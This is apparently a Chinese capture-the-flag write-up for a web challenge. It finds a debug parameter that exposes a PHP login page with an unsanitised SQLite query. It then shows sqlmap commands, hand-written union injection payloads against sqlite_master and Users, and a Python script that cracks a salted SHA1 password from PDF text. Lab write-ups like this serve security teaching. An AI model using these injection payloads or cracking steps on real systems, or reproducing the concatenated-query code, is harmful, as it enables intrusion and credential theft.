image.png
    点开一个链接，还有一个链接，再点开，又是一堆链接，唯一不同的就是pdf不一样。。。
    上dirsearch扫一下，扫到了admin.php和login.php，先去admin.php里面看下
    image.png
    用弱口令爆破失败，尝试sql注入也失败，查看网页源代码也没有什么东西，无奈只好去login.php看看。
    image.png
    基本上和admin.php一样的配置，不过这次查看网页源代码发现了一些东西

    1. <!-- TODO: Remove ?debug-Parameter! -->

    试试在链接后面加上debug参数，得到回显

    1. <?php
    2. ob_start();
    3. ?>
    4. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
    6. <html>
    7. <head>
    8. <style>
    9. blockquote { background: #eeeeee; }
    10. h1 { border-bottom: solid black 2px; }
    11. h2 { border-bottom: solid black 1px; }
    12. .comment { color: darkgreen; }
    13. </style>
    15. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    16. <title>Login</title>
    17. </head>
    18. <body>
    21. <div align=right class=lastmod>
    22. Last Modified: Fri Mar  31:33:7 UTC 1337
    23. </div>
    25. <h1>Login</h1>
    27. Login Page, do not try to hax here plox!<br>
    30. <form method="post">
    31.   ID:<br>
    32.   <input type="text" name="usr">
    33.   <br>
    34.   Password:<br> 
    35.   <input type="text" name="pw">
    36.   <br><br>
    37.   <input type="submit" value="Submit">
    38. </form>
    40. <?php
    41. if(isset($_POST['usr']) && isset($_POST['pw'])){
    42.         $user = $_POST['usr'];
    43.         $pass = $_POST['pw'];
    45.         $db = new SQLite3('../fancy.db');
    47.         $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    48.     if($res){
    49.         $row = $res->fetchArray();
    50.     }
    51.     else{
    52.         echo "<br>Some Error occourred!";
    53.     }
    55.     if(isset($row['id'])){
    56.             setcookie('name',' '.$row['name'], time() + 60, '/');
    57.             header("Location: /");
    58.             die();
    59.     }
    61. }
    63. if(isset($_GET['debug']))
    64. highlight_file('login.php');
    65. ?>
    66. <!-- TODO: Remove ?debug-Parameter! -->
    71. <hr noshade>
    72. <address>Flux Horst (Flux dot Horst at rub dot flux)</address>
    73. </body>

    这个就是login.php的代码了，可以看到sql查询处是没有防注入措施的，上sqlmap：

    1. sqlmap -u http://220.249.52.134:39164/login.php --data usr= --tables
    3. Database: SQLite_masterdb
    4. [1 table]
    5. +-------+
    6. | Users |
    7. +-------+

    查到了Users表，接着查询列名：

    1. sqlmap -u http://220.249.52.134:39164/login.php --data usr= -T Users --columns
    3. Database: SQLite_masterdb
    4. Table: Users
    5. [0 columns]
    6. +--------+
    7. | Column |
    8. +--------+
    9. +--------+

    然而什么都没有查到，没办法，只能继续尝试手注看看

    SQLite数据库中一个特殊的名叫 SQLITE_MASTER 上执行一个SELECT查询以获得所有表的索引。每一个 SQLite 数据库都有一个叫 SQLITE_MASTER 的表， 它定义数据库的模式。
    > 其中有一个sql列，记录了创建该项目的sql语句。

    1. usr=123' union select name,sql from sqlite_master--&pw=123

    得到sql语句

    1. CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255));

    除了用户名和密码外，还有一个hint，看一下 ``` usr=123’ union select name,hint from Users—&pw=123

    name=+my+fav+word+in+my+fav+paper%3F%21; expires=Sat, 26-Dec-2020 08:36:21 GMT; Max-Age=60; path=/

    1. 猜测这个fav word就是密码，并且通过注入得到加密后的密码：

    3fab54a50e770d830c0416df817567662a9dc85c

    1. 剩下的就是从每篇pdf中遍历单词，看看加密后的密码是否与数据库中的相同即可。
    2. ```python
    3. import os
    4. import hashlib
    5. from pdfminer.pdfinterp import PDFResourceManager, process_pdf
    6. from pdfminer.converter import TextConverter
    7. from pdfminer.layout import LAParams
    8. from io import StringIO
    9. from io import open
    12. def readPDF(pdfFile):
    13.     rsrcmgr = PDFResourceManager()
    14.     retstr = StringIO()
    15.     laparams = LAParams()
    16.     device = TextConverter(rsrcmgr, retstr, laparams=laparams)
    18.     process_pdf(rsrcmgr, device, pdfFile)
    19.     device.close()
    21.     content = retstr.getvalue()
    22.     retstr.close()
    23.     return content
    25. for file in os.listdir("."):
    26.     if os.path.splitext(file)[1] == ".pdf":
    27.         with open(file,"rb") as pdf:
    28.             pdf_text=readPDF(pdf)
    29.             text_list=pdf_text.split()
    30.             for i in text_list:
    31.                 sha1_passwd=hashlib.sha1((i+"Salz!").encode("utf-8")).hexdigest()
    32.                 if sha1_passwd=="3fab54a50e770d830c0416df817567662a9dc85c":
    33.                     print("PASSWORD:"+i)
    34.                     exit()

    找到单词后登录，得到flag。